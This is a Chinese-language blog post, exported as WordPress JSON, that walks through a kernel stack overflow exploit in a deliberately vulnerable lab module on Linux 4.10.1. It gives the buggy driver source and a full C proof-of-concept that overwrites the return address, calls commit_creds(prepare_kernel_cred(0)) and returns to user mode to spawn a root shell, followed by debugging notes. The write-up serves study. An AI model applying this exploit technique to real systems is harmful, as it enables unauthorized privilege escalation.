{"id":141,"date":"2020-10-28T17:24:44","date_gmt":"2020-10-28T09:24:44","guid":{"rendered":"http:\/\/pareto.fun\/?p=141"},"modified":"2020-10-29T20:14:26","modified_gmt":"2020-10-29T12:14:26","slug":"141","status":"publish","type":"post","link":"http:\/\/pareto.fun\/?p=141","title":{"rendered":"KernelStackOverflow"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">\u73af\u5883<\/h1>\n\n\n\n<p>kernel : 4.10.1<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u6f0f\u6d1e\u4ee3\u7801<\/h1>\n\n\n\n<pre class=\"wp-block-preformatted\">#include &lt;linux\/init.h&gt;<br>#include &lt;linux\/module.h&gt;<br>#include &lt;linux\/kernel.h&gt;<br>#include &lt;linux\/proc_fs.h&gt;<br>#include &lt;linux\/cred.h&gt;<br>\u200b<br>\u200b<br>\u200b<br>ssize_t bug1_write(struct file * file, const char __user * buff, size_t st, loff_t * loft){<br> &nbsp;  char buf[8];<br> &nbsp;  memcpy(buf,buff ,st);<br> &nbsp;  printk(\"Hello %s\\n bug1_write addr :\\t %p\",buf,bug1_write);<br> &nbsp;  return st;<br>}<br>\u200b<br>static struct file_operations myops = {<br>    .write = bug1_write<br>};<br>\u200b<br>static int null_dereference_init(void)<br>{<br> &nbsp;  printk(KERN_ALERT \"kernelstack driver init! print addr\\n\");<br> &nbsp;  proc_create(\"bug1\", 0666, 0 , &amp;myops);<br> &nbsp;  return 0;<br>}<br>\u200b<br>static void null_dereference_exit(void)<br>{<br> &nbsp;  printk(KERN_ALERT \"kernelstack driver exit\\n\");<br>}<br>\u200b<br>module_init(null_dereference_init);<br>module_exit(null_dereference_exit);<br>MODULE_LICENSE(\"Dual BSD\");<\/pre>\n\n\n\n<p>POC:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;sys\/stat.h&gt;<br>#include &lt;fcntl.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;stdint.h&gt;<br>\u200b<br>struct trap_frame {<br> &nbsp;  void *eip;<br> &nbsp;  uint32_t cs;<br> &nbsp;  uint32_t eflags;<br> &nbsp;  void *esp;<br> &nbsp;  uint32_t ss;<br>}__attribute__((packed));<br>\u200b<br>struct trap_frame tf;<br>\u200b<br>void get_shell(void)<br>{<br> &nbsp;  execl(\"\/bin\/sh\", \"sh\", NULL);<br>}<br>\u200b<br>void init_tf_work(void)<br>{<br>    \/\/\u5185\u8054\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528\u5168\u5c40\u53d8\u91cf<br> &nbsp;  asm(\"pushl %cs; popl tf+4;\" \/\/ set cs<br> &nbsp; &nbsp; &nbsp;  \"pushfl; popl tf+8;\" \/\/ set eflags<br> &nbsp; &nbsp; &nbsp;  \"pushl %esp; popl tf+12;\"<br> &nbsp; &nbsp; &nbsp;  \"pushl %ss; popl tf+16;\");<br> &nbsp;  tf.eip = &amp;get_shell;<br> &nbsp;  tf.esp -= 1024;<br>}<br>#define KERNCALL __attribute__((regparm(3)))<br>void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xc1057120;<br>void *(*commit_creds)(void *) KERNCALL = (void *) 0xc1056f80;<br>\u200b<br>void payload(void)<br>{<br> &nbsp;  commit_creds(prepare_kernel_cred(0));<br> &nbsp;  asm(\"mov $tf, %esp;\"<br> &nbsp; &nbsp; &nbsp;  \"iret;\");<br>}<br>\u200b<br>int main(void)<br>{<br> &nbsp;  char buf[24];<br> &nbsp;  memset(buf, 'A', 24);<br> &nbsp;  *((void **)(buf+20)) = &amp;payload; \/\/ set eip to payload<br> &nbsp;  init_tf_work();<br> &nbsp;  int fd = open(\"\/proc\/bug2\", O_WRONLY);<br> &nbsp;  \/\/ exploit<br> &nbsp;  write(fd, buf, sizeof(buf));<br> &nbsp;  return 0;<br>}<\/pre>\n\n\n\n<p>\u5982\u679cpoc\u6267\u884c\u9020\u6210Kernel panic\uff0c\u800c\u6ca1\u6709\u5c06EIP\u8986\u76d6\u4e3a0x42424242\uff0c\u53ef\u80fd\u662f\u7f16\u8bd1Kernel\u65f6\u9ed8\u8ba4\u5f00\u542f\u4e86canary\uff0c\u9700\u8981\u5173\u95edcanary\u9009\u9879\uff1a\u5173\u95edSTACK_POTECTOR\u3001menuconfig \u83dc\u5355\u4e2d\u627eSTACKPOTECTOR\u3002<\/p>\n\n\n\n<ul><li>\u73b0\u5728\u901a\u8fc7\u8c03\u8bd5\u6765\u786e\u5b9a\u504f\u79fb\u5730\u5740\u3002\u6765\u6267\u884cshellcode\uff0c\u67e5\u770b\u6c47\u7f16\u53d1\u73b0\u5199\u5165\u5730\u5740\u4e3a$ebp-0x10 \u90a3\u4e48\u504f\u79fb\u4e3a20.<\/li><\/ul>\n\n\n\n<ul><li>\u901a\u8fc7shellcode \u4e86\u89e3\u5230\u5982\u4f55\u4ece\u5185\u6838\u6001\u8fd4\u56de\u5230\u7528\u6237\u6001\u3002<\/li><\/ul>\n\n\n\n<p>\u4ece\u5185\u6838\u6001\u8fd4\u56de\u5230\u7528\u6237\u6001\u51fa\u9519\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"719\" height=\"119\" src=\"http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201009113916719.png\" alt=\"image-20201009113916719\" class=\"wp-image-142\" srcset=\"http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201009113916719.png 719w, http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201009113916719-300x50.png 300w\" sizes=\"(max-width: 719px) 100vw, 719px\" \/><\/figure>\n\n\n\n<p>POC \u7684\u6c47\u7f16\u4ee3\u7801\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"600\" height=\"350\" src=\"http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201009114007984.png\" alt=\"image-20201009114007984\" class=\"wp-image-143\" srcset=\"http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201009114007984.png 600w, http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201009114007984-300x175.png 300w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><\/figure>\n\n\n\n<p>\u95ee\u9898\u51fa\u73b0\u5728iret\u6307\u4ee4\uff1a\uff0c\u6267\u884ciret\u4e4b\u540eeip\u6307\u9488\u6307\u54110xfffffc00 \u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"379\" height=\"127\" src=\"http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201009114118044.png\" alt=\"image-20201009114118044\" class=\"wp-image-144\" srcset=\"http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201009114118044.png 379w, http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201009114118044-300x101.png 300w\" sizes=\"(max-width: 379px) 100vw, 379px\" \/><\/figure>\n\n\n\n<p>\u4fee\u6539\u4e0bPOC \u89e3\u51b3\u95ee\u9898\u3002<\/p>\n\n\n\n<ul><li>\u7814\u7a76\u5982\u4f55\u4ece\u5185\u6838\u6001\u8fd4\u56de\u5230\u7528\u6237\u6001\u3002<\/li><\/ul>\n\n\n\n<p>iret\u6307\u4ee4\uff0c\u8fd8\u539fcs ip <a href=\"https:\/\/www.felixcloutier.com\/x86\/iret:iretd\">https:\/\/www.felixcloutier.com\/x86\/iret:iretd<\/a> \u53c2\u8003\u8d44\u6599\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"929\" height=\"273\" src=\"http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201028162637024.png\" alt=\"image-20201028162637024\" class=\"wp-image-145\" srcset=\"http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201028162637024.png 929w, http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201028162637024-300x88.png 300w, http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201028162637024-768x226.png 768w\" sizes=\"(max-width: 929px) 100vw, 929px\" \/><\/figure>\n\n\n\n<p>\u6210\u529f\u6267\u884c\u5230getshell \uff0c \u4e4b\u540e\u9047\u5230\u4e00\u4e2a\u5d29\u6e83\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"742\" height=\"157\" src=\"http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201028162900495.png\" alt=\"image-20201028162900495\" class=\"wp-image-146\" srcset=\"http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201028162900495.png 742w, http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201028162900495-300x63.png 300w\" sizes=\"(max-width: 742px) 100vw, 742px\" \/><\/figure>\n\n\n\n<p>\u5730\u5740\u5982\u56fe\uff0c\u4f7f\u7528gs\u65f6\u51fa\u9519\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"584\" height=\"408\" src=\"http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201028163339774.png\" alt=\"image-20201028163339774\" class=\"wp-image-147\" srcset=\"http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201028163339774.png 584w, http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201028163339774-300x210.png 300w\" sizes=\"(max-width: 584px) 100vw, 584px\" \/><\/figure>\n\n\n\n<p>\u53d1\u73b0\u5728\u5185\u6838\u6001\u548c\u7528\u6237\u6001\u65f6 gs \u5bc4\u5b58\u5668\u7684\u503c\u4e0d\u4e00\u6837\u3002\u5728init_tf_work\u8fc7\u7a0b\u4e2d\u8fdb\u884c\u4fdd\u5b58\uff0c\u5728payload\u8fc7\u7a0b\u4e2d\u8fdb\u884c\u8fd8\u539f\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"708\" height=\"351\" src=\"http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201028165559659.png\" alt=\"image-20201028165559659\" class=\"wp-image-148\" srcset=\"http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201028165559659.png 708w, http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201028165559659-300x149.png 300w\" sizes=\"(max-width: 708px) 100vw, 708px\" \/><\/figure>\n\n\n\n<p>\u63d0\u6743\u6210\u529f\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"715\" height=\"428\" src=\"http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201028165724767.png\" alt=\"image-20201028165724767\" class=\"wp-image-149\" srcset=\"http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201028165724767.png 715w, http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201028165724767-300x180.png 300w\" sizes=\"(max-width: 715px) 100vw, 715px\" \/><\/figure>\n\n\n\n<ul><li>\u4e3a\u4ec0\u4e48\u4e0d\u4e00\u6837\uff1f\uff1f\u5728restore_all \u8fc7\u7a0b\u4e2d\u5e76\u6ca1\u6709\u5bf9gs\u5bc4\u5b58\u5668\u8fdb\u884c\u8fd8\u539f\u3002<\/li><li>gs \u5bc4\u5b58\u5668\u7684\u4f5c\u7528<\/li><\/ul>\n\n\n\n<p>CS,DS,SS,ES,FS,GS \u90fd\u4f5c\u4e3a\u6bb5\u5bc4\u5b58\u5668\u3002ES,FS,GS\u4e3a\u989d\u5916\u6570\u636e\u6bb5\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"511\" height=\"278\" src=\"http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201028170622308.png\" alt=\"image-20201028170622308\" class=\"wp-image-150\" srcset=\"http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201028170622308.png 511w, http:\/\/pareto.fun\/wp-content\/uploads\/2020\/10\/image-20201028170622308-300x163.png 300w\" sizes=\"(max-width: 511px) 100vw, 511px\" \/><\/figure>\n\n\n\n<p>gs \uff0cfs \u4f7f\u7528\u4e0a\u7684\u76f8\u5173\u8d44\u6599\u3002<\/p>\n\n\n\n<p><a href=\"https:\/\/unix.stackexchange.com\/questions\/209968\/what-is-the-register-gs-used-for\">https:\/\/unix.stackexchange.com\/questions\/209968\/what-is-the-register-gs-used-for<\/a><\/p>\n\n\n\n<p>GS register is used to differentiate between usermode and kernel mode range of address, after adding the relevant logical address component.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u73af\u5883 kernel : 4.10.1 \u6f0f\u6d1e\u4ee3\u7801 #include &lt;linux\/init.h&#038; [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[8],"tags":[],"_links":{"self":[{"href":"http:\/\/pareto.fun\/index.php?rest_route=\/wp\/v2\/posts\/141"}],"collection":[{"href":"http:\/\/pareto.fun\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/pareto.fun\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/pareto.fun\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/pareto.fun\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=141"}],"version-history":[{"count":3,"href":"http:\/\/pareto.fun\/index.php?rest_route=\/wp\/v2\/posts\/141\/revisions"}],"predecessor-version":[{"id":155,"href":"http:\/\/pareto.fun\/index.php?rest_route=\/wp\/v2\/posts\/141\/revisions\/155"}],"wp:attachment":[{"href":"http:\/\/pareto.fun\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=141"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/pareto.fun\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=141"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/pareto.fun\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=141"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}